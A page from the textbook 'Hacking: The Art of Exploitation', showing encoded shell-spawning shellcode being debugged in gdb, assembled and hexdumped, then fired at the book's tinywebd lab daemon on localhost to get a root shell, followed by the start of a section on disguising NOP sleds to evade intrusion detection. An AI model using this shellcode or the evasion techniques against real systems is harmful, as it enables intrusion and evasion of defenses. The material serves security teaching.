COUNTERMEASURES - Hacking: The Art of Exploitation - page 362

0xbffff738: 52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\005'
(gdb) cont
Continuing.
[tcsetpgrp failed in terminal_inferior: Operation not permitted]

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff6b6 in ?? ()
(gdb) x/8c $ebx
0xbffff738: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\0'
(gdb) x/s $ebx
0xbffff738: "/bin/sh"
(gdb)

Now that the decoding has been verified, the int3 instructions can be
removed from the shellcode. The following output shows the final shellcode
being used.

reader@hacking:~/booksrc $ sed -e 's/int3/;int3/g' encoded_sockreuserestore_dbg.s >
encoded_sockreuserestore.s
reader@hacking:~/booksrc $ diff encoded_sockreuserestore_dbg.s encoded_sockreuserestore.s 33c33
< int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)
> ;int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING)
42c42
< int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)
> ;int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING)
reader@hacking:~/booksrc $ nasm encoded_sockreuserestore.s
reader@hacking:~/booksrc $ hexdump -C encoded_sockreuserestore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..|
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?|
00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn|
00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R|
00000040 89 e2 53 89 e1 cd 80 |..S....|
00000047
reader@hacking:~/booksrc $ ./tinywebd
Starting tiny web daemon..
reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1
target IP: 127.0.0.1
shellcode: encoded_sockreuserestore (71 bytes)
fake request: "GET / HTTP/1.1\x00" (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) open
whoami
root

0x682 How to Hide a Sled

The NOP sled is another signature easy to detect by network IDSes and IPSes.
Large blocks of 0x90 aren't that common, so if a network security mechanism
sees something like this, it's probably an exploit. To avoid this signature, we
can use different single-byte instructions instead of NOP. There are several
one-byte instructions—the increment and decrement instructions for various
registers—that are also printable ASCII characters.